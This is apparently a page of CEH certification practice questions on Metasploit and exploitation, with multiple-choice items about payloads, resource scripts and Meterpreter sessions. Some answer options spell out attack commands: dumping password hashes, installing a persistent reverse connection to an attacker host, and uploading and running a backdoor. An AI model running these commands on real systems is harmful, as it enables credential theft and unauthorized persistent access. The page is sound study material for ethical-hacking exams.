After exploiting a Linux server, you have a Meterpreter session. You need to gather information about the system and then maintain access for later testing. Which sequence of Meterpreter commands should you use?

`getsystem`, `shell`, `ifconfig`, then `background`

`upload /tmp/backdoor`, `execute -f backdoor`, then `exit`

`route add 10.0.0.0 255.255.255.0 1`, `portfwd add -L 0.0.0.0 -l 8080 -p 80 -r 10.0.0.20`, then `sessions -i 1`

`sysinfo`, `getuid`, `hashdump`, then `run persistence -U -i 5 -p 4444 -r 10.0.0.10`

What is a resource script in Metasploit?

A script used to scan for vulnerabilities.

A script used to generate reports.

A file containing a series of msfconsole commands that can be executed automatically.

A script used to encode payloads.

Which of the following best describes the role of a payload in a vulnerability exploitation attack?

It is the tool used to craft the exploit code.

It is the initial probe used to identify open ports on the target.

It is the code that runs on the target system after the exploit has succeeded.

It is the vulnerability that the attacker exploits to gain access.

EC-CouncilCertified Ethical Hacker

Domain 3Objective 3

Vulnerability Exploitation and Metasploit CEH Practice Questions (Page 2)

Part of the System Hacking Phases and Attack Techniques domain, which makes up ~16% of our current practice bank. EC-Council does not publish an official question count, but from its 240-minute exam (~95–160 total, ~15–26 in this domain), expect 2–3 from this objective — we provide 48 practice questions to prepare you well beyond it. (estimate)

48questions here

10free pages

14concepts

14 Concepts in This Objective

Vulnerability Exploitation Fundamentals
Exploitation Phases and Methodology
Metasploit Framework Architecture
Metasploit Module Types
Metasploit Command-Line Interface
Exploit Selection and Configuration
Payload Generation and Selection
Running Exploits and Handling Sessions
Post-Exploitation Techniques
Metasploit Auxiliary Modules
Evasion and Anti-Virus Bypass
Metasploit Database Integration
Metasploit Scripting and Automation
Ethical and Legal Considerations

Questions 6–10

6foundation · easy
In Metasploit, which option is used to set the payload for an exploit?
Select an answer first
7application · medium
After exploiting a Linux server, you have a Meterpreter session. You need to gather information about the system and then maintain access for later testing. Which sequence of Meterpreter commands should you use?
Select an answer first
8foundation · easy
What is a resource script in Metasploit?
Select an answer first
9foundation · easy
Which of the following best describes the role of a payload in a vulnerability exploitation attack?
Select an answer first
10foundation · easy
Which command in msfconsole is used to connect to the Metasploit database?
Select an answer first

Finished these 5 questions?

Review the revealed explanations, or continue through the curriculum.

Next 5 questions →Back to CEH

Free Basic Practice is a study aid with revealable answers — not a scored exam. Examers.io is independent and not affiliated with or endorsed by EC-Council. “CEH” is a trademark of its owner, used for identification only.

Vulnerability Exploitation and Metasploit CEH Practice Questions (Page 2)

Questions 6–10

In Metasploit, which option is used to set the payload for an exploit?

After exploiting a Linux server, you have a Meterpreter session. You need to gather information about the system and then maintain access for later testing. Which sequence of Meterpreter commands should you use?

What is a resource script in Metasploit?

Which of the following best describes the role of a payload in a vulnerability exploitation attack?

Which command in msfconsole is used to connect to the Metasploit database?

Keep studying — System Hacking Phases and Attack Techniques